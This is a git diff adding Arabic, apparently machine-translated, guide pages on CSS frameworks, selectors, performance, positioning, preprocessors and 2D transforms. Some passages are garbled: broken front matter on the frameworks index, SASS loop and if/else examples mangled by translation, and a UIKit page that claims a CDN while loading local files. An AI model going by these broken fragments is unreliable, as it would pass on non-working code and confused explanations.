+## ابدء
+
+في ما يلي نموذج HTML بسيط يشتمل على أحدث CSS مجمع ومختزن لمكتبة MDL.
+
+ `
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <title></title> 
+        <link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"> 
+        <link rel="stylesheet" href="https://code.getmdl.io/1.3.0/material.indigo-pink.min.css"> 
+        <script defer src="https://code.getmdl.io/1.3.0/material.min.js"></script> 
+    </head> 
+    <body> 
+    </body> 
+ </html> 
+` 
+
+لقد استخدمنا CDN في هذا المثال ، ولكن يمكنك التحقق من الطرق الأخرى لتثبيت MDL [هنا](https://getmdl.io/started/index.html) .
+
+### مصادر التعلم
+
+*   الوثائق الرسمية لل MDL متاحة [هنا](https://getmdl.io/started/index.html) .
+*   الخروج مستودع GitHub مفتوح المصدر MDL [هنا](https://github.com/google/material-design-lite) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-framework-materialize/index.md b/client/src/guide/arabic/css/css-frameworks/css-framework-materialize/index.md
new file mode 100644
index 0000000000..0cc5f5a320
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-framework-materialize/index.md
@@ -0,0 +1,41 @@
+---
+title: CSS Framework Materialize
+localeTitle: CSS Framework تتحقق
+---
+# CSS Framework تتحقق
+
+يمثل Materialize إطار CSS متجاوبًا يستند إلى لغة [التصميم متعدد الأبعاد من](https://design.google.com/spec/) Google.
+
+## ابدء
+
+في ما يلي نموذج HTML بسيط يشتمل على أحدث CSS وملف Javascript مجمّعة ومختصرة لمكتبة Materialize.
+
+ `
+    <!DOCTYPE html> 
+  <html> 
+    <head> 
+      <!--Import Google Icon Font--> 
+      <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> 
+      <!--Import materialize.css--> 
+      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/css/materialize.min.css"> 
+ 
+      <!--Let browser know website is optimized for mobile--> 
+      <meta name="viewport" content="width=device-width, initial-scale=1.0"/> 
+    </head> 
+ 
+    <body> 
+      <h1>Hello World!</h1> 
+      <!--Import jQuery before materialize.js--> 
+      <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.min.js"></script> 
+      <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script> 
+    </body> 
+  </html> 
+` 
+
+لقد استخدمنا CDN في هذا المثال ، ولكن يمكنك التحقق من طرق أخرى لتثبيت ثريتم [هنا](http://materializecss.com/getting-started) .
+
+## مصادر التعلم
+
+*   الوثائق الرسمية لـ Materialize متاحة [هنا](www.materializecss.com/) .
+*   مستودع GITHub مفتوح المصدر لـ Checkout من Materialize [هنا](https://github.com/Dogfalo/materialize) .
+*   [هنا](https://scotch.io/tutorials/make-material-design-websites-with-the-materialize-css-framework) هو تعليمي مفيد في استخدام Materialize.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-framework-semanticui/index.md b/client/src/guide/arabic/css/css-frameworks/css-framework-semanticui/index.md
new file mode 100644
index 0000000000..11b68a907c
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-framework-semanticui/index.md
@@ -0,0 +1,33 @@
+---
+title: CSS Framework Semantic UI
+localeTitle: CSS Framework Semantic UI
+---
# CSS Framework Semantic UI
+
+واجهة المستخدم الدلالية هي واحدة من أكثر أطر CSS شعبية لتطوير المشاريع الأولى المتجاوبة والمتنقلة للويب.
+
+## ابدء
+
+في ما يلي نموذج HTML بسيط يشتمل على أحدث ملف CSS وملف Javascript المجمَّع والمختزن لمكتبة واجهة المستخدم الدلالية. لقد استخدمنا CDN في هذا المثال ، ولكن يمكنك التحقق من الطرق الأخرى لتثبيت واجهة المستخدم الدلالية [هنا](https://semantic-ui.com/introduction/getting-started.html) .
+
+ `
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Semantic UI Template</title> 
+        <link rel="stylesheet" href="https://cdn.jsdelivr.net/semantic-ui/2.2.13/semantic.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+        <script src="https://cdn.jsdelivr.net/semantic-ui/2.2.13/semantic.min.js"></script> 
+      </body> 
+    </html> 
+` 
+
+## مصادر التعلم
+
+*   الوثائق الرسمية لواجهة المستخدم Semantic متاحة [هنا](https://semantic-ui.com/introduction/getting-started.html) .
+*   الخروج مستودع GitHub مصدر البيانات واجهة المستخدم Semantic واجهة المستخدم [هنا](https://github.com/Semantic-Org/Semantic-UI) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-framework-skeleton/index.md b/client/src/guide/arabic/css/css-frameworks/css-framework-skeleton/index.md
new file mode 100644
index 0000000000..622e75d4f7
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-framework-skeleton/index.md
@@ -0,0 +1,40 @@
+---
+title: CSS Framework Skeleton
+localeTitle: CSS Framework Skeleton
+---
+# CSS Framework Skeleton
+
+الهيكل العظمي هو قالب معدني ميت لإطلاق أي مشروع سريع الاستجابة.
+
+## ابدء
+
+في ما يلي نموذج HTML بسيط يشتمل على أحدث ملف CSS مجمع ومختزن لمكتبة Skeleton.
+
+ `
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Skeleton Template</title> 
+        <link href="//fonts.googleapis.com/css?family=Raleway:400,300,600" rel="stylesheet" type="text/css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/4.1.1/normalize.min.css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+      </body> 
+    </html> 
+` 
+
+ [![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/31bd555700f1ee85bb4ddcacf595f0dfd8a16254.png) **JSBin Demo**](http://jsbin.com/sekojaxali/edit?html,output)
+
+لقد استخدمنا CDN في هذا المثال ، ولكن يمكنك التحقق من الطرق الأخرى لتثبيت Skeleton [هنا](https://github.com/dhg/Skeleton#getting-started) .
+
+## مصادر التعلم
+
+*   ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:") [**`Official Documentation`**](http://getskeleton.com/#grid) من الهيكل العظمي.
+*   مجانية مستودع مفتوح المصدر المفتوح GitHub Skeleton [هنا](https://github.com/dhg/Skeleton) .
+*   [فيما يلي](http://getskeleton.com/#examples) بعض الأمثلة على كيفية استخدام Skeleton على مواقع ويب مختلفة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-frameworks-uikit/index.md b/client/src/guide/arabic/css/css-frameworks/css-frameworks-uikit/index.md
new file mode 100644
index 0000000000..3b0d402a36
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-frameworks-uikit/index.md
@@ -0,0 +1,33 @@
+---
+title: CSS Framework UIKit
+localeTitle: CSS Framework UIKit
+---
+## CSS Framework UIKit
+
+UIKit هو إطار أمامي خفيف الوزن ومعياري لتطوير واجهات ويب سريعة وقوية.
+
+### ابدء
+
+هنا هو قالب HTML بسيط يتضمن أحدث CSS المترجمة والمختصرة لمكتبة UIKit.
+
+ `
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <title></title> 
+        <link rel="stylesheet" href="css/uikit.min.css" /> 
+        <script src="js/jquery.js"></script> 
+        <script src="js/uikit.min.js"></script> 
+        <script src="js/uikit-icons.min.js"></script> 
+    </head> 
+    <body> 
+    </body> 
+ </html> 
+` 
+
+لقد استخدمنا CDN في هذا المثال ، ولكن يمكنك التحقق من الطرق الأخرى لتثبيت UIKit [هنا](https://getuikit.com/docs/introduction) .
+
+### مصادر التعلم
+
+*   الوثائق الرسمية ل UIKit متاحة [هنا](https://getuikit.com/docs/introduction) .
+*   الخروج مستودع GitHub مفتوح المصدر UIKit [هنا](https://github.com/uikit/uikit) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/index.md b/client/src/guide/arabic/css/css-frameworks/index.md
new file mode 100644
index 0000000000..abe1023357
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/index.md
@@ -0,0 +1,40 @@
+CSlocaleTitle: undefined
+Sتم تصميم الأطر لتبسيط عمل الأنواع ، وإزالة الأخطاء عند إنشاء مشروع ، والتخلص من الكتابة الرتيبة المملة لنفس الشفرة.
+
+مزايا أطر CSS:
+
+ `* Cross-browser compatibility 
+ * Ability to create the correct HTML layout even for a not very experienced specialist. 
+ * Code uniformity 
+ * Increase development speed 
+` 
+
+السلبيات:
+
+ `* Attachment to CSS style library 
+ * Redundant code 
+` 
+
+## التمهيد
+
+واحدة من أشهر أطر CSS حتى الآن. يتضمن قوالب لأزرار الرسم ، والشرائط الجانبية ، وأشرطة التنقل ، والنماذج ، وعناصر الموقع الأخرى. يشمل نفسه ملحقات جافا سكريبت.
+
+Bootstrap متوافق مع جميع المتصفحات الحديثة الرئيسية ، ولكن قد تكون هناك مشاكل في الإصدارات القديمة من المتصفحات. يدعم القدرة على التكيف. يستخدم لغات أقل وساس.
+
+## هيكل عظمي
+
+استنادًا إلى جافا سكريبت و CSS ، يتم استخدامه لإنشاء مواقع ويب سريعة الاستجابة يتم عرضها بشكل صحيح على الشاشات الكبيرة والشاشات الصغيرة. هيكل عظمي زائد كبير - يمكن أن يتكيف مع أي تصميم. تحتوي شبكة الترميز على 12 عمودًا ولها عرض أساسي يبلغ 960 بكسل. متوافق مع جميع المتصفحات الرئيسية.
+
+## كوبي
+
+الحرية الكاملة للمطور دون فرض الأنماط. يوفر أقصى مرونة في التصميم. لديها العديد من خيارات الشبكة ويتم وضعها من قبل المبدعين كإطار لمطوري CSS المحترفين. يستخدم أقل ، يدعم التصميم المتجاوب.
+
+## المؤسسة
+
+إطار CSS مشترك. جنبا إلى جنب مع العناصر الرئيسية الأخرى تشمل العديد من قوالب HTML مع ترتيب مختلف من كتل على الصفحة. يحتوي على مجموعة كبيرة من المكونات في JavaScript. الإطار شديد الخطورة في قدراته وتكوينه. يستخدم ساس. كود متوافق مع جميع المتصفحات الرئيسية.
+
+## واجهة المستخدم الدلالية
+
+دعم لمتصفح فايرفوكس و Chrome و Safari و Internet Explorer و Android 4 و Blackberry10. يحتوي على عدد كبير من المكونات: أيقونات ، صور ، ملصقات ، قوائم ومكونات قياسية أخرى. وهو يدعم أحدث إصدارات HTML و CSS ولديه مجموعة جيدة من وحدات البرامج النصية وواجهات برمجة التطبيقات. يستخدم أقل. على القدرة على المنافسة تتنافس مع bootstrap.
+
+كل مهمة لها أداة خاصة بها. ستكون الخطوة الجيدة هي تجربة الإطار وفهمه "أنت" أو لا. يمكنك استخدام الهياكل العظمية للشفرة المعروضة في الأطر كصفيحة خداع وأخذ الحلول والكود من هناك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-images/index.md b/client/src/guide/arabic/css/css-images/index.md
new file mode 100644
index 0000000000..e8bbe62896
--- /dev/null
+++ b/client/src/guide/arabic/css/css-images/index.md
@@ -0,0 +1,30 @@
+---
+title: CSS Images
+localeTitle: صور CSS
+---
+## صور CSS
+
+هذا يساعد في إضافة صورة إلى موقع على شبكة الإنترنت.
+
+#### عينة الكود
+
+`<img src="picture.jpg" alt="Picture" width="100" height="100">`
+
+*   **src:** يتكون من قيمة المسار إلى الصورة المطلوبة
+*   **alt:** إذا لم يتم عرض الصورة ، فيمكن عرض نص بديل باستخدام سمة alt.
+*   **العرض:** يحدد عرضًا للصورة (يمكن أن يكون في النسبة المئوية أو px أو تلقائي)
+*   **الارتفاع:** يحدد ارتفاع الصورة (يمكن أن يكون في المائة أو px أو تلقائي)
+
+#### معلومات اكثر:
+
+##### الخصائص
+
+[`image-orientation`](/en-US/docs/Web/CSS/image-orientation "توضح خاصية CSS اتجاه الصورة كيفية تصحيح الاتجاه الافتراضي للصورة.") [`image-rendering`](/en-US/docs/Web/CSS/image-rendering "توفر خاصية CSS الخاصة بإعداد الصورة تلميحًا للمتصفح عن الخوارزمية التي يجب استخدامها في قياس الصور.") [`object-fit`](/en-US/docs/Web/CSS/object-fit "تحدد الخاصية CSS الملائمة للكائنات كيفية تغيير عنصر الاستبدال ، مثل <img> أو <video> ، لتلائم الحاوية الخاصة به.") [`object-position`](/en-US/docs/Web/CSS/object-position "تحدد الخاصية CSS موضع الكائن محاذاة العنصر المحدد داخل المربع الخاص به.")
+
+##### المهام
+
+[`linear-gradient()`](/en-US/docs/Web/CSS/linear-gradient "لم يتم بعد كتابة الوثائق المتعلقة بهذا ؛ يرجى النظر في المساهمة!") [`radial-gradient()`](/en-US/docs/Web/CSS/radial-gradient "لم يتم بعد كتابة الوثائق المتعلقة بهذا ؛ يرجى النظر في المساهمة!") [`repeating-linear-gradient()`](/en-US/docs/Web/CSS/repeating-linear-gradient "لم يتم بعد كتابة الوثائق المتعلقة بهذا ؛ يرجى النظر في المساهمة!") [`repeating-radial-gradient()`](/en-US/docs/Web/CSS/repeating-radial-gradient "لم يتم بعد كتابة الوثائق المتعلقة بهذا ؛ يرجى النظر في المساهمة!") [`element()`](/en-US/docs/Web/CSS/element "لم يتم بعد كتابة الوثائق المتعلقة بهذا ؛ يرجى النظر في المساهمة!")
+
+##### أنواع البيانات
+
+[`&lt;image&gt;`](/en-US/docs/Web/CSS/image "يمثل نوع البيانات <image> CSS صورة ثنائية الأبعاد. هناك نوعان من الصور: صور عادية ، يشار إليها عادةً باستخدام عنوان URL ، وصور تم إنشاؤها ديناميكيًا ، مثل الصور التي تم إنشاؤها باستخدام <التدرج> أو العنصر (). يمكن استخدام الصور مع العديد من خصائص CSS ، مثل صورة الخلفية ، صورة الحدود ، المحتوى ، صورة نمط القائمة ، والمؤشر.") [`&lt;uri&gt;`](/en-US/docs/Web/CSS/uri "لم يتم بعد كتابة الوثائق المتعلقة بهذا ؛ يرجى النظر في المساهمة!")
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-performance/index.md b/client/src/guide/arabic/css/css-performance/index.md
new file mode 100644
index 0000000000..c993630927
--- /dev/null
+++ b/client/src/guide/arabic/css/css-performance/index.md
@@ -0,0 +1,43 @@
+---
+title: CSS Performance
+localeTitle: أداء CSS
+---
+## أداء CSS
+
+في معظم الأوقات ، ليس CSS هو سبب تحميل صفحتك على الويب ببطء. في بعض الحالات ، يمكن أن يقلل من وقت تحميل موقعك على الويب إذا كان ملف CSS الخاص بك مزدحمًا بمئات من المحددات غير المتوافقة. فيما يلي بعض الإرشادات الأساسية حول كيفية كتابة CSS سريعًا وصحيًا.
+
+### أداء المختارين المختلفين
+
+انظر إلى هذا المثال:
+
+ `#unique-id { }         // fastest 
+ .general-class { }  // also fast 
+ li { }              // ok 
+ * { }               // slow 
+` 
+
+من غير المستغرب أن تكون أدوات تحديد الهوية هي الأسرع ، تليها الفصول الدراسية. تتم معالجة عناصر العلامات البسيطة مثل `div` أو `li` ببطء نسبيًا.
+
+### كيف يتم تحديد عنصر
+
+تخيل CSS التالي:
+
+ `nav ul li a { 
+  color: #fff; 
+ } 
+` 
+
+هذه ليست فكرة جيدة. هناك طرق أفضل لتحديد عنصر ارتباط في التنقل. ولكن كيف يحدد الكمبيوتر العنصر الصحيح؟ أولا يجدها كل `a` عنصر على الصفحة الخاصة بك. ثم يتحقق إذا كان داخل عنصر `li` ، داخل `ul` داخل `div` . لذا ، يقرأ المتصفح المحددات من اليمين إلى اليسار. إذا كان لديك مئات الروابط ، فقد يستغرق ذلك بعض الوقت ، فما الذي يجب عليك فعله؟
+
+### تحسين أداء CSS
+
+شئ متعارف عليه:
+
+*   تجنب محددات السليل ، مثل `ul li a` وما `ul li a` ذلك.
+*   لا نخجل من استخدام الكثير من أسماء الصف الوصفية `.footer-nav-link`
+*   حاول استخدام محدد الطفل بدلاً من ذلك إذا كنت تريد تحديد طفل مباشر لعنصر `.image-container > img`
+*   تجنب استخدام المحددات العامة `* { }`
+
+### هل هذا حقا كل ما هو ضروري؟
+
+قد تكون هذه مشكلة منذ عشرين عامًا عندما لم تكن أجهزة الكمبيوتر سريعة بالسرعة التي هي عليها اليوم. من فضلك لا تتفادى المختارين في المستقبل تماما. ولكن ضع في اعتبارك أن هدفك هو كتابة CSS قابل للصيانة ، لذلك قد يكون التفكير قليلاً مناسبًا. في بعض الأحيان ، لا يعد `nav ul li a` تحديد فكرة جيدة على صفحة تحتوي على مئات الروابط.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-position/index.md b/client/src/guide/arabic/css/css-position/index.md
new file mode 100644
index 0000000000..f17f36a21a
--- /dev/null
+++ b/client/src/guide/arabic/css/css-position/index.md
@@ -0,0 +1,22 @@
+---
+title: CSS Position
+localeTitle: وضع CSS
+---
+## وضع CSS
+
+تحدد خاصية الموضع نوع طريقة تحديد المواقع المستخدمة لعنصر. يحتوي على 5 قيم للكلمات الرئيسية:
+
+ `.static         { position: static; } // default value 
+ .relative       { position: relative; } 
+ .sticky         { position: sticky; } 
+ .fixed          { position: fixed; } 
+ .absolute       { position: absolute; } 
+` 
+
+### معلومات اكثر:
+
+وثائق [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position) : [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position)
+
+دعم المتصفح: [caniuse](http://caniuse.com/#search=position)
+
+يوتيوب: [الجزء 1](https://www.youtube.com/watch?v=kejG8G0dr5U) [الجزء 2](https://www.youtube.com/watch?v=Rf6zAP4YnZA)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-pre-processors/index.md b/client/src/guide/arabic/css/css-pre-processors/index.md
new file mode 100644
index 0000000000..06c2c67fa0
--- /dev/null
+++ b/client/src/guide/arabic/css/css-pre-processors/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Pre-Processors
+localeTitle: المعالجات المسبقة CSS
+---
+## المعالجات المسبقة CSS
+
+Pre-processor عبارة عن برنامج يسمح باستخدام وظائف CSS الموسعة مع المتغيرات والوظائف والمشغلين والعديد من الأصول المفيدة التي تفتقد إلى CSS.
+
+## معالجات مسبقة شعبية
+
+*   [ساس](http://sass-lang.com)
+*   [أقل](http://lesscss.org)
+*   [مرقم](http://stylus-lang.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-preprocessors/index.md b/client/src/guide/arabic/css/css-preprocessors/index.md
new file mode 100644
index 0000000000..922af5afd0
--- /dev/null
+++ b/client/src/guide/arabic/css/css-preprocessors/index.md
@@ -0,0 +1,49 @@
+---
+title: CSS Preprocessors
+localeTitle: CSS Preprocessors
+---
+## CSS Preprocessors
+
+أصبحت المعالجات التمهيدية لـ CSS على نحو متزايد الدعامة الأساسية في سير العمل لمطوري ويب الواجهة الأمامية. CSS هي لغة معقدة ودقيقة للغاية ، وفي محاولة لجعل استخدامها أسهل ، يتحول المطورون إلى استخدام معالجات مسبقة مثل SASS أو LESS.
+
+تقوم معالجات CSS المبدئية بتجميع الكود المكتوب باستخدام مترجم خاص ، ثم تستخدم ذلك لإنشاء ملف css ، والذي يمكن عندئذ الرجوع إليه بواسطة مستند HTML الرئيسي. عند استخدام أي CSS Preprocessor ، ستتمكن من البرمجة في CSS عادي تمامًا كما تفعل إذا لم يكن المعالج الأولي في مكانه ، ولكن لديك أيضًا المزيد من الخيارات المتاحة لك. البعض ، مثل SASS ، له معايير نمط محددة والتي تعني جعل كتابة المستند أكثر سهولة ، مثل الحرية في حذف الأقواس إذا اخترت القيام بذلك.
+
+بالطبع ، تقدم CSS Preprocessors ميزات أخرى أيضًا. العديد من الميزات المقدمة تتشابه بشكل لا يصدق عبر المعالجات التمهيدية ، مع وجود اختلافات طفيفة فقط في بناء الجملة. وبالتالي ، يمكنك اختيار أي شخص ترغب به تقريبًا ، وستتمكن من تحقيق نفس الأشياء. بعض الميزات الأكثر فائدة هي:
+
+### المتغيرات
+
+أحد أكثر العناصر استخدامًا في أي لغة برمجة هو المتغير ، وهو أمر تفتقر إليه CSS بشكل ملحوظ. من خلال وجود المتغيرات تحت تصرفك ، يمكنك تحديد قيمة مرة واحدة ، وإعادة استخدامها إذا كان ذلك طوال البرنامج بأكمله. مثال على ذلك في SASS سيكون:
+
+ `$yourcolor: #000056 
+ .yourDiv { 
+  color: $yourcolor; 
+ } 
+` 
+
+من خلال الإعلان عن متغير `SASS yourcolor` مرة واحدة ، فمن الممكن الآن إعادة استخدام هذا اللون الدقيق نفسه في المستند بأكمله دون الحاجة إلى إعادة كتابة التعريف.
+
+### الحلقات
+
+عنصر آخر شائع في اللغات هو الحلقات ، وهو شيء آخر تفتقر إليه CSS. يمكن استخدام الحلقات لتكرار نفس التعليمات عدة مرات دون الحاجة إلى إعادة إدخالها عدة مرات. مثال مع SASS سيكون:
+
+\`\` \`ساس for $ vfoo 35px to 85px { .margin - # {vfoo} { الهامش: $ vfoo 10px؛ } }
+
+ `This loop saves us from having the to write the same code multiple times to change the margin size. 
+ 
+ ### If/Else Statements 
+ Yet another feature which CSS lacks are If/Else statements. These will run a set of instructions only if a given condition is true. An example of this in SASS would be: 
+` 
+
+ساس if width (body)> 500px { لون الخلفية: الأزرق. } آخر { لون الخلفية: أبيض. } \`\` \` هنا ، سيغير لون الخلفية اللون حسب عرض نص الصفحة.
+
+هذه ليست سوى عدد قليل من الوظائف الرئيسية لمعالجات برمجية CSS. كما ترون ، فإن معالجات Preprocessors CSS هي أدوات مفيدة ورائعة بشكل لا يصدق. يستخدمها العديد من مطوري الويب ، ويوصى بشدة بتعلم واحد منهم على الأقل.
+
+#### معلومات اكثر:
+
+SASS: http://sass-lang.com/
+
+LESS: http://lesscss.org/
+
+ستايلس: http://stylus-lang.com/
+
+صفحة MDN: https://developer.mozilla.org/en-US/docs/Glossary/CSS\_preprocessor
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-syntax-and-selectors/index.md b/client/src/guide/arabic/css/css-syntax-and-selectors/index.md
new file mode 100644
index 0000000000..eee804e9bb
--- /dev/null
+++ b/client/src/guide/arabic/css/css-syntax-and-selectors/index.md
@@ -0,0 +1,93 @@
+---
+title: CSS Syntax and Selectors
+localeTitle: CSS المختار والقواعد
+---
+## CSS المختار والقواعد
+
+عندما نتحدث عن صيغة CSS ، نتحدث عن كيفية وضع الأشياء. توجد قواعد حول أين تذهب ، حيث يمكنك كتابة CSS باستمرار ويمكن أن يفسرها أحد البرامج (مثل المتصفح) ويطبقها على الصفحة بشكل صحيح.
+
+هناك طريقتان رئيسيتان لكتابة CSS.
+
+### مضمنة المغلق
+
+تفاصيل محددة على خصوصية [CSS](https://css-tricks.com/specifics-on-css-specificity/) : [CSS الخدع](https://css-tricks.com/specifics-on-css-specificity/)
+
+تطبق CSS مضمنة التصميم على عنصر واحد وأطفاله ، حتى يتم اكتشاف نمط آخر يتجاوز الأول.
+
+لتطبيق CSS المضمّن ، أضف سمة "النمط" إلى عنصر HTML ترغب في تعديله. داخل علامات اقتباس ، قم بتضمين قائمة مفصولة بفواصل منقوطة من أزواج المفاتيح / القيم (كل منها مفصولة بنقطتين) تشير إلى أنماط لتعيينها.
+
+إليك مثال على CSS المضمّن. سيكون للكلمات "One" و "Two" لون خلفية باللون الأصفر ولون النص باللون الأحمر. تحتوي كلمة "ثلاثة" على نمط جديد يتجاوز الأول ، وسيكون له لون خلفية باللون الأخضر ونص اللون السماوي. في المثال ، نحن نطبق الأنماط على علامات `<div>` ، ولكن يمكنك تطبيق نمط على أي عنصر HTML.
+
+ `
+<div style="color:red; background:yellow"> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div style="color:cyan; background:green"> 
+    Three 
+  </div> 
+ </div> 
+` 
+
+### CSS داخلي
+
+بينما تعد كتابة نمط مضمَّن طريقة سريعة لتغيير عنصر واحد ، فهناك طريقة أكثر فاعلية لتطبيق نفس النمط على العديد من عناصر الصفحة في وقت واحد.
+
+تحتوي CSS الداخلية على الأنماط المحددة في علامة `<style>` ، وهي مدمجة في العلامة `<head>` .
+
+في ما يلي مثال له تأثير مماثل لمثال "مضمنة" أعلاه ، باستثناء أنه تم استخراج CSS إلى منطقته الخاصة. ستتطابق الكلمتان "One" و "Two" مع محدد `div` ويكون النص الأحمر على خلفية صفراء. تتطابق الكلمتان "Three" و "Four" مع محدد `div` أيضًا ، ولكنهما يتطابقان أيضًا مع محدد `.nested_div` الذي ينطبق على أي عنصر HTML يشير إلى هذه الفئة. يتجاوز هذا المحدد المحدد الأول ، وينتهي ظهرا في الظهور كنص أزرق سماوي على خلفية خضراء.
+
+ `
+<style type="text/css"> 
+  div { color: red; background: yellow; } 
+  .nested_div { color: cyan; background: green; } 
+ </style> 
+ 
+ <div> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div class="nested_div"> 
+    Three 
+  </div> 
+  <div class="nested_div"> 
+    Four 
+  </div> 
+ </div> 
+` 
+
+تعتبر المحددات المبينة أعلاه بسيطة للغاية ، ولكنها قد تكون معقدة للغاية. على سبيل المثال ، من الممكن تطبيق الأنماط فقط على العناصر المتداخلة ؛ وهذا هو ، العنصر الذي هو طفل لعنصر آخر.
+
+في ما يلي مثال على تحديدنا للنمط الذي يجب تطبيقه فقط على عناصر `div` التي تمثل طفلًا مباشرًا لعناصر `div` الأخرى. والنتيجة هي أن "Two" و "Three" سيظهران كنص أحمر على خلفية صفراء ، لكن "One" و "Four" سيظلان غير متأثران (وعلى الأرجح نص أسود على خلفية بيضاء).
+
+ `
+<style type="text/css"> 
+  div > div { color: red; background: yellow; } 
+ </style> 
+ 
+ <div> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div> 
+    Three 
+  </div> 
+ </div> 
+ <div> 
+  Four 
+ </div> 
+` 
+
+### CSS خارجي
+
+يحتوي كل التصميم على مستند خاص به مرتبط في العلامة `<head>` . امتداد الملف المرتبط هو `.css`
+
+#### معلومات اكثر:
+
+*   [CSS Syntax](https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax) @ MDN
+*   [CSS Selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors) @ MDN
+*   [CSS المختارات المرجعية](https://www.w3schools.com/cssref/css_selectors.asp)
+*   [خصوصية مختارات CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-2d-transforms/index.md b/client/src/guide/arabic/css/css3-2d-transforms/index.md
new file mode 100644
index 0000000000..4003d43a79
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-2d-transforms/index.md
@@ -0,0 +1,188 @@
+---
+title: CSS3 2d Transforms
+localeTitle: CSS3 2d يحول
+---
+## CSS3 2d يحول
+
+تتيح لك تحويلات CSS3 ترجمة العناصر وتدويرها وتغيير حجمها وتشويشها.
+
+التحويل هو تأثير يسمح لعنصر بتغيير الشكل والحجم و موضع.
+
+يدعم CSS3 التحولات ثنائية وثلاثية الأبعاد.
+
+## دعم المستعرض للتحويل 2D
+
+تحدد الأرقام في الجدول أول إصدار متصفح يدعم بشكل كامل الملكية.
+
+الأرقام متبوعة بـ -ms- أو -webkit- أو -moz- أو -o- تحديد الإصدار الأول ذلك عملت مع البادئة.
+
+| الملكية كروم | IE | فايرفوكس سفاري الأوبرا | | --------------------------------------- | ---------------------- | ------------------ | ------------------- | -------------------- | -------------------------------------------- | | تحويل | 36.0 4.0 -webkit- | 10.0 9.0 -ms- | 16.0 3.5 -moz- | 9.0 3.2 -webkit- | 23.0 15.0 -webkit- 12.1 10.5 -o- | | تحويل المنشأ (بناء جملة اثنين) | 36.0 4.0 -webkit- | 10.0 9.0 -ms- | 16.0 3.5 -moz- | 9.0 3.2 -webkit- | 23.0 15.0 -webkit- 12.1 10.5 -o- |
+
+## CSS3 2D يحول
+
+أساليب:
+
+*   `translate()`
+*   `rotate()`
+*   `scale()`
+*   `skewX()`
+*   `skewY()`
+*   `matrix()`
+
+## طريقة الترجمة ()
+
+تقوم طريقة `translate()` بنقل عنصر من موقعه الحالي (وفقًا لـ إلى المعلمات المعطاة للمحور X والمحور Y).
+
+يقوم المثال التالي بنقل عنصر `<div>` 50 بكسل إلى اليمين ، و 100 بكسل أسفل من وضعها الحالي:
+
+### مثال:
+
+ `div { 
+  -ms-transform: translate(50px, 100px); /* IE 9 */ 
+  -webkit-transform: translate(50px, 100px); /* Safari */ 
+  transform: translate(50px, 100px); 
+ } 
+` 
+
+## طريقة التدوير ()
+
+تقوم طريقة `rotate()` بتدوير عنصر في اتجاه عقارب الساعة أو عكس عقارب الساعة وفقا لدرجة معينة.
+
+يقوم المثال التالي بتدوير عنصر `<div>` باتجاه عقارب الساعة بـ 20 درجة:
+
+### مثال:
+
+ `div { 
+  -ms-transform: rotate(20deg); /* IE 9 */ 
+  -webkit-transform: rotate(20deg); /* Safari */ 
+  transform: rotate(20deg); 
+ } 
+` 
+
+يؤدي استخدام القيم السالبة إلى تدوير العنصر عكس اتجاه عقارب الساعة.
+
+يقوم المثال التالي بتدوير عنصر `<div>` عكس اتجاه عقارب الساعة بـ 20 درجات:
+
+### مثال:
+
+ `div { 
+  -ms-transform: rotate(-20deg); /* IE 9 */ 
+  -webkit-transform: rotate(-20deg); /* Safari */ 
+  transform: rotate(-20deg); 
+ } 
+` 
+
+## مقياس () الطريقة
+
